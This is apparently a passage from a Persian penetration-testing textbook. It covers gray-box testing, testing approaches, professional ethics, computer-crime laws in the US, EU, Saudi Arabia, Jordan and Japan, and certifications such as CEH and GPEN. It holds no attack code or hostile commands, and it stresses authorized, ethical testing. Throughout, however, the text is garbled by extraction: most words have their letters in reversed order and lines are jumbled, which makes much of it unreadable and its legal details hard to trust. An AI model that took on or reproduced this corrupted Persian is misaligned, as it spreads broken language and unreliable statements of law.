 دیشا و یدیکل یسرورها IP آدرس مانند یعموم اطلاعات کننده تست ،یخاکستر جعبه تست
 های آدرس نه و (Diagram) نمودار نه اما کند، می افتیدر را استفاده مورد های عامل ستمیس

IP شبکه. در موجود های کامپیوتر (آنهاثراک یحت ای) همه 
 توسط تواند می یخاکستر جعبه تست دارد، اریاخت در کننده تست که یاطلاعات سطح به بسته
 جعبه های تست نندتوا می یداخل های کننده تست شود. انجام یخارج ای یداخل های کننده تست

 سازمان های شبکه از یداخل کارمندان که رسد می نظر به دیبع رایز دهند، انجام را یخاکستر
 باشند. داشته یکامل اطلاعات

 به دهم. می انجام را یخاکستر جعبه های تست اغلب نفوذ، های تست در شخصه به خودم من
 یبرا یکاف اطلاعاتو باشد مناسب خودم یبرا هم و یمشتر یبرا هم مورد نیا رسد می نظر
 است. قبول قابل نیز یمشتر یبرا آن نهیهز و داشت خواهم را مؤثر و یقو تست انجام

 

 Approaches کردهایرو

 شکل را نفوذ تست توانند می چگونه نکهیا و صنعت خاص یاستانداردها مورد در ،2 فصل در
 نیا در کرد. میخواه ییراهنما یفرد نفوذ های تست در را شما و کرد میخواه بحث ،داد
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 مورد ار نفوذ تست یبرا یکل یکردهایرو بلکه ،نکرده بحث استانداردها مورد در بخش،
 دهیم. قرارمی بررسی
 پشدت  در محدرک  زهیانگ ییشناسا شود، توجه آن به دیبا رویکرد انتخاب در که ای مسئله نیاول

 اید آ اسدت.  یبررسد  قابدل  ولی برسد، نظر به بیعج سوال، کی است ممکن .باشد می نفوذ تست
 تید رعا یبدرا  صرفاً ایآ ؟است شده جادیا سازمان یعموم های دغدغه به توجه با نفوذ تست نیا

 (PCI DSS) پرداخدت  کارت صنعت داده تیامن استاندارد )مانند خاص های استاندارد از یبرخ
 یسدادگ  بده  رخددادی  سازمان در ای ،؟است خاص رخدادی به پاسخ در تست ای شود؟ می انجام

 است؟ شده سازمان دغدغه باعث و شده مطلع ها آن از سازمان که گرفته صورت
 .میکند  یبررس را ویسنار نیاول دهید اجازه کند. می تیهدا را تست انجام نحوه نفوذ تست یبنام

 بده  تسدت  بداً یتقر باشدد،  داشدته  یبریسا تیامن مورد در یکل دغدغه کی یسادگ به سازمان اگر
 نفدوذ  کننده تست که است نیا مستلزم امر نیا شود. می انجام نفوذ کننده تست توسط املک طور
 احتمدال  بده  دهدد،  می رخ شتریب سازمان صنایع در نقضهایی نوع چه بفهمد تا دهد انجام یمقدمات

 .ردیگ می قرار حمله مورد سازمان عوامل، ریسا و یبدنام اندازه، لیدل به ادیز
 عددم  نید ا .است تمرکز عدم است، یعموم های دغدغه بر یمبتن که وذنف تست در یاصل مشکل
 نیمهمتدر  واقدع  در کده  شدود  (Items) یمدوارد  تسدت  در تیموفق عدم به منجر تواند می تمرکز
 اسدت،  نگرفتده  قدرار  یمشدتر  توجه مورد که نفوذ تست کی انجام هنگام ،نیبنابرا هستند. موارد
 .دیکن نییتع را خود اهداف و دیباش تهداش گفتگویی یمشتر با شما که است مهم
 )کده  شدود  می جادیا PCI DSS مانند خاص یاستانداردها تیرعا با نفوذ تست کی که یمهنگا
 مورد استاندارد دیبا شما است. تر ساده اریبس فرایند کرد(، میخواه بحث آن مورد در 2 فصل در
 نید ا با .دیکن می تست را ازهاین تک تک که دیکن حاصل نانیاطم و کرده یبررس دقت به را نظر
 .دید ریبگ نظدر  در حداکثر، نه نفوذ، تست سطح حداقل عنوان به را استانداردها دیبا شهیهم حال،
 .دهید انجام را تست استاندارد حد از تر قیدق دیتوان می شهیهم
 هدر  دید با ،اسدت  مشدخص  هددف  شدود،  انجدام  خاص رخداد کی به واکنش در نفوذ تست اگر
 .باشدد  مدی  حداقل کی فقط استاندارد، بر متمرکز تستهای .دیکن تست را رخداد آن مشابه حمله
 .دهید انجام را تست عملیات یمشتر توجه مورد رخدادهای کلاس از فراتر باشد لازم دیشا
 مدورد  کدرد یرو ای تست زهیانگ از نظر صرف رساند. می تست در تیفیک مسئله به را ما مسئله نیا

 اسدت.  کدارا  و بدالا  تیفیک تست کی هدف (،یخاکستر جعبه ،دیسف جعبه ،اهیس )جعبه استفاده
 یکد ی ،نیبندابرا  کندد.  اشتباه تواند می یابزار هر و یشخص هر که باشد می مورد نیا دغدغه کی
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 هدای   کید تکن تکدرار  اید  ابدزار  با یدیکل تستهای تکرار ،تست در تیفیک کنترل یاصل عناصر از
 انجدام  یگدر ید شدخص  توسط دیبا زین تکرار تست ،دیکن می کار میت کی با اگر .باشد می گرید

 یگدر ید کید تکن بدا  بلکه ابزار با تنها نه را دوم تست ،دیهست یانفراد نفوذ کننده تست اگر شود.
 در یگدر ید کید تکن از اسدتفاده  بدا  را مشدابه  مسئله اگر .دیده جامان زین یگرید خیتار و زمان در
 .ابدی می کاهش یتوجه قابل طور به آن یخطا احتمال ،کردید پیدا یگرید زمان
 

 Ethical Issues یاخلاق مسائل

 هدا  آن بده  کده  زمدانی  و شوند می داده پوشش هک و نفوذ های تست در ندرت به یاخلاق مسائل
 ای ناحیه نفوذ تست رایز دارد، تأسف یجا .باشد می جزئی اریبس ها آن پوشش شود، می پرداخته
 تسدت  در اخدلاق  کده  دارد وجدود  مسدئله  دو است. ضروری اریبس آن در یاخلاق رفتار که است
 کند. می لیتبد مهم یموضوع نیچن این به را نفوذ
 یمعندا  به است. سازمان شبکه به نفوذ کننده تست داشتن دسترسی اخلاق، به مربوط مسئله نیاول
 بده  ییتنهدا  بده  نید ا کندد.  هدک  را شدبکه  کی تا شود می خواسته نفوذ کننده تست کی از یواقع
 نفدوذ،  تست تیماه بر علاوه که باشد می صورت بدین تیواقع دارد. ازین اخلاق از ییبالا سطح

 آن شدبکه  تیموفق با دبتوان اگر،است بدیهی کرد. دخواه اهدهمش را یادیز یخصوص اطلاعات
   .دکن نقض را سازمان

 در بدالا  سدطح  یاخلاقد  لاصو به شوند، می یناش نفوذ تست تیماه از دو هر که ،تیواقع دو نیا
 در د.نشدو  یتلقد  محرمانه شود می مشاهده که هایی داده تمام دیبا دارند. ازین نفوذ کننده تست هر

 نکده یا مگر است محرمانه کنم می مشاهده هرچه کهباشد می ینگونها من فر  شیپ موضع واقع،
 شود. گفته من به یگرید زیچ حاًیصر
 داید پ اسدت.  فدرد  هدای  مهدارت  مدورد  در بدودن  صدادق  وذ،نف تست و اخلاق مورد در دوم مسئله
 لید دلا کنند. می اغراق را خود مهارت ها آن زیرا است سخت اریبس نفوذ های کننده تست کردن
 و کدامپیوتر  تید امن یکلد  طدور  به که است نیا مورد نیاول دارد. وجود اغراق نیا یبرا یمتعدد
 تید امن متخصصدان  یبدرا  یادید ز یاتقاضد  هسدتند.  یغد دا موضدوعات  خاص طور به نفوذ تست

 تدوان  مدی  نده یزم نید ا در درآمدد  یتدوجه  قابل مقدار کنده پوست و رک و دارد وجود کامپیوتر
 هدا  مهارت ،شتریب درامد آوردن دست به یبرا افراد از یبرخ تا شود می باعث امر نیا کرد. کسب
 کنند. اغراق را خود مدارک و
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 زیانگ جانیه خاص، طور به نفوذ تست و ،یکل طور به کامپیوتر تیامن اغراق، نیا دوم لیلد
 یفناور صنعت کل در موضوعات نیزتریانگ جانیه ها آن که کرد ادعا توان می .هستند

 از یبرخ طرح از یبخش را کردن هک بار چند که دیکن فکر نیا به ای لحظه هستند. اطلاعات
 به یراحت به که دارد وجود تمالاح نیا .اید کرده مشاهده یونیزیتلو ای یینمایس های فیلم
 یفناور ای حرفه های شاخه ریز ریسا با را مورد نیا اکنون .دیکن می فکر ها نمونه نیا از یاریبس

 ادمین که را هایی لمیف از یاریبس دیتوان نمی کنم می گمان مثال، عنوان به .دیکن سهیمقا اطلاعات
 بر علاوه .بیاورید یاد یه دارند را یاصل نقش فرمهایشان مین نویس مهرناب ای داده گاهیپا

 دهند، می ارائه نفوذ تست و هک از ها رسانه که (یرواقعیغ کاملاً باًیتقر )اما جذاب یریتصو
 نیا یآور جمع با هستند. صحیح یمل تیامن در اکنون ها مهارت نیا که میدار را تیواقع نیا

 و جالب اریبس دارند، که آنچه از شتریب تجربه و مهارت یادعا کنند می فکر یاریبس عوامل،
 است. انگیز هیجان
 را کار نیا که کنم می تاکید ،دیشو اغراق یکم به لیتما میتسل که دیشو وسوسه است ممکن
 تواند می مدت بلند در اما ،یدکن کسب سود واقعاً است ممکن مدت، کوتاه در .ندهید انجام
 یشتریب تیاهم از یحت نجایا در و است، مهم ای حرفه هر در اخلاق باشد. مضر شما حرفه یبرا

 و دیکن فعالیت سخت واقع در ،دیباش داشته یشتریب های مهارت دیخواه می اگر است. برخوردار
 خود یمهارتها دیتوان می که ییها روش مورد در فصل نیا در .دیده توسعه را خود های مهارت

 کرد. میخواه بحث دیده شیافزا را
 را یمجاز مجرمان معمولاً ها سازمان که برساند باور نیا به را شما است ممکن ای رسانه نمایش
 با ولی ،بود درست گذشته سال 30 است ممکن کنند. می استخدام نفوذ تست انجام یبرا

 و مدار قانون نفوذ کنندگان تست هامروز شود. می تر رنگ کم تیواقع نیا سال هر گذشت
 به یازین اند. کرده کسب را لازم های مهارت و یرسم آموزش که دارند وجود یاخلاق

 هرگونه ،نیبنابرا است. مناسب یاخلاق معیار فاقد کرده ثابت قبلا که ستین یشخص استخدام
 یاخلاق یارهایمع طبق دیبا شهیهم گذارد. می ریتأث یشغل های فرصت بر احتمالاً یاخلاق مسائل
 .دیکن رفتار
 ندارد. یاخلاق اصول و اخلاق در یخاص دانش یدعاا سندهینو و ستین یفلسف کتاب نیا

 از یبرخ توانم می حال، نیا با .داد ارائه شما به را ای حرفه اخلاق نقشه توان نمی نیبنابرا
 قسمت این در دهم. قرار ارتانیاخت در ،مهست بندیپا ها آن به که را یعموم یاخلاق یرهنمودها
 .شود می داده شرح موارد از بعضی
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 Everything Is Confidential است محرمانه زیچ مهه

 امکان ها آن به که هستند یاتیجزئ دنبال به و کنند می میتنظ را محرمانه قرارداد کی افراد از یبرخ
 که یاطلاعات هر .کنم می هیتوص را روش این عکس بنده که کنند فاش دانند می را آنچه دهد می

 شود. گفته شما به یگرید مورد حیصر طور به نکهیا مگر گرفته نظر در محرمانه دیشو می روبرو
 سازمان محرمانه اطلاعات معر  در را شما ناخواسته اغلب نفوذ، تست جمله از ،یتیامن تست
 اطلاعات این به که باشند داشته اطمینان و آرامش احساس دیبا مشتریانتان دهد. می قرار هدف
 اقدامات پوشاندن شامل یرازدار نیا که است یهیبد .کرد خواهید رفتار اختیار بیشترین با
 نگه محرمانه را یمشتر اطلاعات تمام دیبا مجرمانه، تیفعال از جدا ولی .ستین یرقانونیغ
 باشد. نشده انیب صراحت به بودن محرمانه ،نامه توافق در اگر یحت ،دیدار
 

 Keep in Your Lane دیده ادامه خود ریمس به

 گسترش را خود های مهارت کتاب، نیا مطالعه با دوارمیام .میردا هامهارت یسر کی ما همه
 هایی تیمحدود شهیهم ،دیده گسترش چقدر را خود های مهارت نکهیا از نظر صرف اما .دیده
 ،باشد می شما مهارت از خارج فعالیتی اگر و بوده آگاه خود های تیمحدود از دارد. وجود نیز
 .دیستین خاص تست آن یبرا یمناسب فرد شما که دییبگو یرمشت به
 ولی دارم، یکاف مهارت نفوذ تست و یبریسا تیامن مختلف های جنبه در بنده مثال، عنوان به
 یمهندس و هدف( ساختمان به ورود یبرا تلاش واقع )در یکیزیف نفوذ تست مانند یموارد در

 تست انجام به ورمجب را سازمان کی استانداردها یبرخ واقع در .ستمین ماهر کاملاً یاجتماع
 از جنبه آن یبرا را یگرید شخص دیبا که میگو می ها یمشتر به شهیهم کند. می یکیزیف نفوذ
 که است دیبع و نداشته مهارت موارد آن در کنم می بیان یسادگ به کنند. استخدام خود تست
 مورد در بیان صداقت که دیکن فکر است ممکن دهم. انجام مناسب تست کی بتوانم
 یاریبس ام. افتهی را آن برعکس قاًیدق اما شود، می یمشتر دادن دست از باعث شما های یکاست
 سپاسگزارند. اریبس مصداقت از انیمشتر از
 

 If You Break It, You Bought It دیکرد یداریخر را آن ،شکستید را آن اگر

 سرورها، ا،ه کامپیوتر - کرد دیخواه کیتحر را یشخص های ستمیس نفوذ، تست مراحل در
 یبرا است. ریپذ امکان کاملاً کار و کسب در اختلال جادیا .رهیغ و شبکه ها، دستگاه
 .دیباش مراقب اریبس دیبا مسئله نیا از یریجلوگ
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 نیا دیبرسان حداقل به را یمشتر کار و کسب در لالتاخ شانس دیتوان می که هایی راه از یکی
 است ممکن کهدیده انجام را خود تست دارد، ار تیفعال نیکمتر یمشتر که یهنگام که است
 بامداد 2 ساعت در تیسا وب نفوذ تست انجام مثال، عنوان )به باشد ندیناخوشا کاملاً یتانبرا

 .باشد می یتانمشتر های ستمیس از محافظت های راه از یکی ولی (جمعه
 چه تحت و اییه زمان چه در ،هایی تست چه که کند مشخص قاًیدق دیبا نفوذ تست قرارداد
 که یاقدام هر دیبا .دیکن روشن را خود نقش کند می کمک شما به و شود می انجام یطیشرا
 با بخصوص .دیبرسان حداقل به را یمشتر ستمیس در اختلال هرگونه تا دیده انجام دیتوان می

 مکنم live ستمیس یجا به بانیپشت های نسخه یرو ها تست انجام حساس، های ستمیس از استفاده
 .باشد کننده نیتضم است
 

 Legal Issues یحقوق مسائل

 از استفاده قصدتان .آموخت دیخواه را هک یعمل های کیتکن انواع کتاب، نیا در ویشریپ با
 اجازه بدون ها مهارت نیا از استفاده است. سازمان کی های ستمیس تست یبرا ها مهارت نیا

 حساب به جرم نیچند تواند می نیز موارد از یاریبس در و شود می محسوب جرم یک ،حیصر
 که ییبخشها کنیم. می مشاهده گذاشته ریتأث هک بر که را قانون نیچند بخش، نیا در .بیاید
 .باشد مطلع ها آن از دیبا نفوذ کننده تستهر که شود می شامل را ینیقوان کنند می یرویپ
 

 Computer Fraud and Abuse Act یکامپیوتر سواستفاده و یکلاهبردار نونقا

(CFAA): 18 1030 متحده الاتیا کد § 

 هر قیدق مطالعه مستلزم و باشد یکامپیوتر میجرا نیقوان ترین یاساس از یکی دیشا قانون نیا
 عنوان به قانون نیا گرفتن نظر در یاصل لیدل است. یکامپیوتر میجرا نهیزم در مند علاقه شخص
 میجرا برابر در محافظت منظور به که است فدرال مهم نقانو نیاول که باشد می اینگونه اساس،
 به یکامپیوتر میجرا بیتعق یبرا ها دادگاه قانون، نیا از قبل است. شده یطراح یکامپیوتر
 کردند. می استناد یکامپیوتر ریغ و یسنت میجرا به مربوط نیقوان لیتعد و رایج قوانین فیتعار

 در .افتی شیافزا یکامپیوتر میجرا شدت و عاتدف ،1980 دهه لیاوا و 1970 دهه طول در
 یمقررات شامل که گردید اصلاح 1984 جرائم جامع کنترل قانون ،ندهیفزا مشکل نیا به پاسخ
 یکامپیوتر های شبکه و ها کامپیوتر از مجاز ریغ استفاده و یدسترس به خاص یدگیرس یبرا
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 جرم را، کامپیوتر در شده یبند هطبق اطلاعات به مجوز بدون یدسترس مقررات نیا .باشد می
 عنوان به را یکامپیوتر ستمیس کی در یمال سوابق به یدسترس نیهمچن ها آن دانست. می نیسنگ

 کردند. یمعرف ییجنا بد تخلف

 ،1985 سال یط در ،نیبنابرا اند. نشده یابیارز یکاف خود یخود به اصلاحات نیا حال، نیا با
 در کردند. برگزار یا کامپیوتر میجرا یاحتمال حیلوا درباره را یجلسات آمریکا یسنا و مجلس
 Computer Fraud andیکامپیوتر استفاده سو و یکلاهبردار قانون جلسات نیا تینها

Abuse Act (CFAA) , با و شد، بیتصو 1986 سال در کنگره توسط که ،دیرس بیتصو به 
 از یقانون تیحما نیتأم کار نیا یاصل هدف .گردید اصلاح USC § 1030 18 حیهاصلا

 داشتند: قرار ریز های دسته از یکی در که بود یکامپیوتر های ستمیس و ها کامپیوتر

 فدرال ینهادها از یبرخ میمستق کنترل تحت 
 یمال موسسه کی از یبخش 
 یخارج ای یالتیا نیب تجارت شامل  

 در که بود یامپیوترک های ستمیس از محافظت قانون نیا هدف ،کنید می مشاهده که طور همان
 مطرح جرم حاًیصر ،تیفعال نیچند شد باعث کار نیا داشتند. قرار فدرال اراتیاخت حوزه
 انواع از کی هر آوردن دست به یبرا کامپیوتر به مجوز بدون یدسترس نیمهمتر و نیاول .شوند

 :باشد می ریز اطلاعات
 یمل تیامن اطلاعات 
 یمال سوابق 
 کننده مصرف مورد در هندهد گزارش آژانس از اطلاعات 
 متحده الاتیا آژانس ای بخش هر به مربوط اطلاعات 

 
 § 2701 متحده الاتیا کد 18 شده: رهیذخ ارتباطات به یرقانونیغ یدسترس

 :است ریز شرح به اساسنامه یاصل فرم
 –است شده ارائه )ج( بخش در آنچه یاستثنا به - جرم

 ارتباطات خدمات آن قیطر از که کند می دایپ یلاتیتسه به یدسترس ،مجوز بدون و عمد به (1)
 ای شود. می ارائه یکیالکترون

 میس به مجاز یدسترس بیترت نیبد و دارد را مرکز آن به دسترسی مجوز مجاز حد از بیش (2)
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 دست به است، ستمیس نیا در یکیالکترون حافظه در که یحال در را یکیالکترون ارتباطات ای
 بخش در که طور همان شد خواهد مجازات کند، می یریجلوگ آن از ای دهد می رییتغ آورد، می
 است. شده ارائه بخش نیا )ب(
 دیباش داشته توجه هستند. مهم اریبس نفوذ تست و هک های کیتکن یبرا عناصر نیا یدو هر

 بر علاوه ،دیباش داشته مجوز اگر یحت "رود. می فراتر یدسترس مجوز از عمدا" ،2 مورد
 به لازم .شود محسوب فدرال جرم کی تواند می بلکه است، یراخلاقیغ تنها نه شما تیمأمور
 سال 10 تا بالاتر میجرا یبرا باشد. داشته زندان سال 5 تا تواند می جرم نیاول که است ذکر
 است. ریپذ امکان حبس

 

 Identity Theft Enforcement تیر هو خسرارت  جبرران  و سررقت  یاجرا قانون

and Restitution Act 
 در قانون نیا بود. 1984 سال در یکامپیوتر استفاده سو و تقلب قانون الحاق واقع در قانون نیا

 است. شده نوشته موجود نیقوان بودن یناکاف درک و تیهو سرقت ندهیفزا دیتهد به پاسخ
 است یرفتار لیدل به یکامپیوتر یکلاهبردار میجرا بیتعق مجازات آن مفاد نیمهمتر از یکی
 و یداخل کاملاً وقایع که است معنا بدان و نبوده یخارج ای ی)استانی(التیا نیب ارتباط شامل که
 یقانون گردیپ قابل فدرال قانون تحت اکنون و افتاده اتفاق استان یا التیا کی در کامل طور به

 تدایتهد و داده گسترش را یبریسا یاخاذ فیتعر قانون نیا مهم، شرط نیا از فراتر است.
 شود. می شامل را ها داده سرقت ای یا کامپیوتر های ستمیس به رساندن بیآس
 نظر از ،نیا از شیپ بود. سازمانها به تیهو سرقت نیقوان گسترش قانون نیا گرید مهم جنبه
 نیا اساس بر شوند. محسوب تیهو سرقت یقربان توانستند می یقیحق اشخاص فقط یقانون
 یتلق یکلاهبردار و تیهو سرقت یقربان یقانون نظر از توانند می ها سازمان نیهمچن ،قانون
 یفریک جرم عنوان به را یکامپیوتر یکلاهبردار ارتکاب یبرا توطئه نیهمچن نقانو نیا شوند.
 است. گرفته نظر در
 

 الاتیا کد 18 :یدسترس های دستگاه با ارتباط در مرتبط های تیفعال و یکلاهبردار
 § 1029 متحده

 روترها( )مانند یدسترس های دستگاه و دارد را 1030 § متحده الاتیا کد 18 اب کیزدن ارتباط
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 یبرا که ییدستگاهها مورد در اما کند می دیتقل را USC 1030 قانون اساساً شود. می شامل را
 این شتریب تیجذاب باعث که آنچه منظر به شود. می اجرا شوند می استفاده ستمهایس به یدسترس
 نیا در بعداً .شود می شامل زین را یتقلب یدسترس لیوسا و ها دستگاه که است نیا شده قانون
 انهیم در انسان حملات و Rogue access devices سرکش یدسترس های دستگاه با کتاب

Man-in-the-middle شود. می مربوط آن به حاًیصر قانون نیا شد. دیخواه آشنا 
 

 State Laws استانی یا یالتیا نیقوان

 آن قضات با ،دیکن می فعالیت آن در نفوذ کننده تست عنوان به که استانی هر در شود می هیتوص
 .دیکن مشورت استان
 

 International Laws یالملل نیب نیقوان

 است نیا مناسب قاعده کی است. خارج کتاب نیا حوصله از کشور هر در نیقوان به پرداختن
 نیا با شود. می محسوب جرم ییقضا حوزه هر در مجوز بدون یدسترس هر ادیز احتمال به که
 .میده پوشش بخش نیا در را برجسته قانون چند میتوان می حال،
 

 2013/40 اروپا هیاتحاد بخشنامه

 های ستمیس هیعل حملات مورد در 2013/40 اروپا هیاتحاد دیجد دستورالعمل ،2013 سپتامبر 3 در
 و است گسترده یبریسا حملات دستورالعمل این هدف شد. االاجر لازم (" Directive") یاطلاعات
 کند. می تیهدا سایبری میجرا هیعل یفریک رانهیسختگ نیقوان بیتصو به را عضو کشور هر
 

 یسعود ربستانع

 M / 17 شماره یسلطنت )فرمان باشد می دارا را یبریسا ضد میجرا قانون یسعود عربستان
 معادل ینقد مهیجر و زندان سال 5 تا حداکثر قانون نیا 6 ماده . (1428 الاول عیرب 8 مورخ

 جمله از میجرا انواع یبرا کایآمر دلار 800000
 یعموم اخلاق ،ینید یارزشها ،یعموم نظم بر که یمطالب یساز رهیذخ ای انتقال ،هیته ،دیتول"
 "گذارد. می ریتأث ها کامپیوتر ای اطلاعات شبکه قیطر از افراد، یخصوص میحر و



 آموزش اصول و مفاهیم تست نفوذ 24 

 

 یبریسا میجرا قانون و اردن یاطلاعات های ستمیس نونقا

 های ستمیس میجرا قانون عنوان به که شود می شامل را قانون آن از بخش چند ریز موارد
 شود. می شناخته زین یاطلاعات

 ای تیسا وب کی به مجوز کی از شیب ای تخلف ای مجوز بدون و عمد به که شخصی هر"
 ماه سه حداکثر و هفته کی حداقل مدت به حبس مجازات کند، دایپ یدسترس یاطلاعات ستمیس
 (200) از شیب و نارید صد (100) از شیب یا و داشت نخواهد را یکمتر ینقد مهیجر ای
 " داشت خواهد را مجازات دو هر ای نارید ستیدو
 مسدود کردن، خاموش ،ءافشا بردن، نیب از کردن، اضافه حذف، لغو، هدف با شخصی هر"

 کی قیطر از را عملکرد گرانید کردن فعال ای ضبط ،یکپ انتقال، ،رییتغ ،دهی هشدار کردن،
 ای ها داده مشاهده یبرا کند. استفاده ای منتشر نصب، یاطلاعات ستمیس ای یاطلاعات شبکه
 از یریجلوگ ای یاطلاعات ستمیس کی عملکرد از یریجلوگ مانع، تداخل، ممانعت، ای ،عاتاطلا
 با کار ای آن یمحتوا در رییتغ ای آن، بیتخر آن، لغو ای تیسا وب کی رییتغ ای آن، به یدسترس
 به مجاز،مجازات حد از شیب ای نقض ای مجوز بدون مالک تیهو ای آن تیهو فر  با آن،
 ستیدو (200) حداقل ینقد یجزا با ای سال کی از شیب و ماه سه از کمتر مدت یبرا حبس
 " داشت خواهد را مجازات دو هر ای نارید هزار (1000 ) از شیب و نارید
 

 Unauthorized Computer Access Law کامپیوتر به مجاز ریغ یدسترس انونق

 نیا الاجراست. لازم هم هنوز و است، 1998 سال به مربوط که است یژاپن قانون کی نیا
 شود. اعمال ها تیفعال از یعیوس فیط در تواند می و است شده انیب ای گسترده طور به جمله
 است: شده آورده نجایا در قانون این از بیجال بخش

 کامپیوتر یک به دسترسی کنترل بوسیله که خاص استفاده یک دادن قرار دسترس در قانون"
 از ارتباط خط طریق از ،خاص کامپیوتر آن به ورود طریق از دسترسی کنترل آن دارای خاص
 نیا از ) .شود می محدود ،دسترسی کنترل لیاتعم آن برای دیگر شخص شناسایی کد ،دور راه
 کرده اضافه را مربوطه یدسترس کنترل اداره که یدسترس ادمین توسط هشد انجام اقدامات لیقب
  (شود می انجام ییشناسا کد آن یبرا مجاز کاربر ای مربوطه یدسترس ادمین دییتأ با ای
 یدسترس کنترل عملیات کی هب مربوط که را یگرید شخص ییشناسا کد دینبا یشخص چیه"

 مجاز کاربر ای یدسترس کنترل عملیات آن یبرا یدسترس ادمین از ریغ یگرید شخص به است
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 مخصوص ییشناسا کد نیا دهد می نشان که یحال در دهد، ارائه ییشناسا کد آن یبرا
 به است، برخوردار یآگاه نیچن از که یشخص واستدرخ به ای شده استفاده خاص کامپیوتر
 آن ای یدسترس ادمین آن دییتأ با ای یدسترس ادمین آن توسط اقدامات نیا که یموارد یاستثنا
 " باشد. شده انجام مجاز کاربر

 

 Certifications ها نامهیواهگ

 نامهیگواه صدور های آموزش و ها تست نقش که است مهم نفوذ کننده تست کی یبرا
 دسترس در یآموزش های دوره و نامهیگواه صدور آزمون نیچند کند. درک را صنعتدر
 نیا از کی چیه حیتقب ای دییتأ مانهدف که شود بیان حیصر طور به دیبا حال، نیا با .باشد می
 .ستین ها نامهیگواه
 هرگونه ارزش زیبرانگ بحث موضوع به ابتدا دیده اجازه خاص، های نامهیگواه یبررس از قبل
 دامنه ریز در و زیبرانگ بحث کامپیوتر صنعت کل در ها نامهیگواه صدور .میبپرداز نامهیگواه
 نامهیگواه کی از که کرد دیخواه دایپ را افراد از یبرخ .باشد می زیاد اریبس امر این نفوذ تست
 نیا داشتن بدون که کنند می بیان و کنند می استفاده آموزش ترین ارزشمند بعنوان خاص
 که گفت خواهند شما به دیگر افراد بود. ای هحرف نفوذ کننده تست کی توان نمی نامهیگواه
 حال عین در شود، می شما وقت اتلاف باعث و است ارزش یب کاملاً نامهیگواه همان قاًیدق

 هستند. ارزش یب کاملاً ها نامهیگواه تمام که گفت خواهند شما به دیگر افراد
 نامهیگواه گونه هر یعواق یمعنا در تفاهم سو از یناش نظرات نیا همه که است نیا تیاقعو

 یمشخص سطح در شما که استمعن بدان و ،ستین مبحث آن بر تسلط یمعنا به نامهیگواه است.
 نامهیگواه کی تیموفق با که یکسان انیم در .اید داشته را تیصلاح سطح حداقل اهداف، از
 است. متنوع اریبس ها آن یواقع های مهارت کنند، می کسب را
 

  ؟کنیم تلاش نامهیاهگو دریافت برای چرا

 .دیدار را لازم مهارت شما که باشند داشته یدییتأ قابل های نشانه دیبا انیومشتر انیکارفرما
 شخصی کنم نمی هیتوص هرگز حال، نیا با دهند. می ارائه را ها هشاخص نیا از یکی ها نامهیگواه
 یبخش عنوان به دیبا ها نامهیگواه .دیکن استخدام خاص نامهیگواه کی داشتن اساس بر فقط را
 اریبس عوامل از زین تجربه و یررسمیغ آموزش ،یرسم آموزش شود. دریافت مشخصات کل از
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 ،دیباش نداشته نامهیگواه دو ای کی حداقل اگر که است نیا یاساس نکته اما هستند. یمهم
 که کنم می شنهادیپ داًیاک ،لیدل نیهم به .کرد نخواهند استخدام را شما ها شرکت از یاریبس
 که اکنون .دیریبگ نظر در خود ای حرفه آموزش از یبخش عنوان به را موارد نیا از یکی

 .میکن بحث خاص صنعت های نامهیگواه مورد در میتوان می ،داریم ها نامهیگواه بر یکل یمرور
 یها سال در .کرد خواهید مشاهده شده ستیل نجایا در آنچه به نسبت را یشتریب های نامهیگواه
 چالش کی ها آن همه کردن ستیل است. داده رخ ها نامهیگواه سطح در عظیم یانفجار ریاخ

 های نامهیگواه ترین شده شناخته ام کرده انتخاب اینجا در آنچه ،نیبنابرا .باشد می هولناک
 هستند. نفوذ تست به مربوط

 
CEH 

Certified Ethical Hacker نامهیگواه نیتر مهم EC-Council است 
(https://www.eccouncil.org) اسدت.  یتوجه قابل یمنف و مثبت نکات یدارا نامهیگواه نیا 

 بددان  اسدت.  نفدوذ  / هدک  تسدت  نامهیگواه ترین یمیقد ،میکن شروع مثبت نکات با دهید اجازه
 کتداب  نیچندد  نیهمچند  دارد. ییآشنا آن با دارد را شما استخدام قصد یشرکت هر که معناست
 یجسدتجو  کید  .کنید استفاده آزمون نیا در خود مطالعه یبرا ها آن از توان می که دارد وجود
 .داد خواهد نشان شما به را موارد نیا از یبرخ " CEH" یبرا آمازون در ساده
 مجموعه آزمون، نیا من نظر به دارد. وجود شرفتیپ جادیا و مسائل یبررس یبرا یادیز زمان
 پوشش را باشد آشنا ها آن با دیبا نفوذ کننده تست هر که را یمیمفاه و ابزارها از یعیوس فیط
 دهد. می
 نامهیگواه نیا به رهیت ینگاه یهکر جامعه افراد از یاریبس ست؟یچ نامهیگواه نیا معایب حال،
 نگرفت دهیناد جمله از بودند، مسائل یبرخ یدارا یقبل های نسخه که است نیا لیدل کی دارند.

 پوشش را ای گسترده اریبس یابزارها CEH که است نیا گرید جیرا انتقاد .یاصل موضوعات
 2 براساس آزمون به ورود تیحصلا .پردازد نمی مباحث همه به عمیق صورت به و دهد، می
 .باشد می یبریسا تیامن نهیزم در تجربه سال
 

GPEN 
GIAC Penetration Tester (GPEN) موسسدده از نامددهیگواه / وذنفدد تسددت ییابتدددا دوره 

(SANS https://www.giac.org/certification/penetration-tester-gpen) یبدرا  .باشدد  می 

https://www/
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 SANS آمدوزش  مدورد  در مدورد  چندد  دید با ابتددا  یکلد  طدور  بده  ،نامهیگواه نیا حیصح یبررس
 ابد  مدرتبط  موضدوع  هدر  یجستجو یبرا خود علاقه مورد یجستجو موتور از اگر م.یکن مشاهده

 ،" SQL Injectionنفددوذ تسددت روش" مثددال عنددوان )بدده دیددکن مددی اسددتفاده کددامپیوتر تیددامن
"Windows Forensics"  در مقالده  کید  جینتا از یکی حداقل که شده نیتضم باًیتقر (،رهیغ و 

 در بعدداً  واقدع،  در دارد. تیفیک با مقالات یبرا یخوب اریبس شهرت SANS .است SANS زمینه
 باشدد  مدی  بدینگونده  آن مزیت یحت کنم. می ذکر منبع عنوان به را SANS مقاله چند کتاب، نیا
 .باشد می دسترس در یهرکس خواندن یبرا نترنتیا در یراحت به ها آن مقالات که
 برخوردار یخوب اریبس شهرت از آموزش نی،اSANS آموزش مورد در مثبت مسئله نیدوم
 جهان سراسر در اطلاعات یفناور تخصصانم از بسیاری با خود، یشغل یزندگ کل در است.
 SANS دوره در کهنیا از که شوم مواجه یکس با ام نتوانسته هنوز ام، کرده صحبت که

 باشد. داشته یتیشکا باشد اموختهین یدیجد اطلاعات
 که است IT آموزش های دوره ترین گران ها آن های دوره اول، ست؟یچ ضعف نقطه ،حال

 دوره کی یبرا دلار 2800 تا دلار 1500 از اغلب IT یآموزش های ورهد ام. کرده دایپ تاکنون
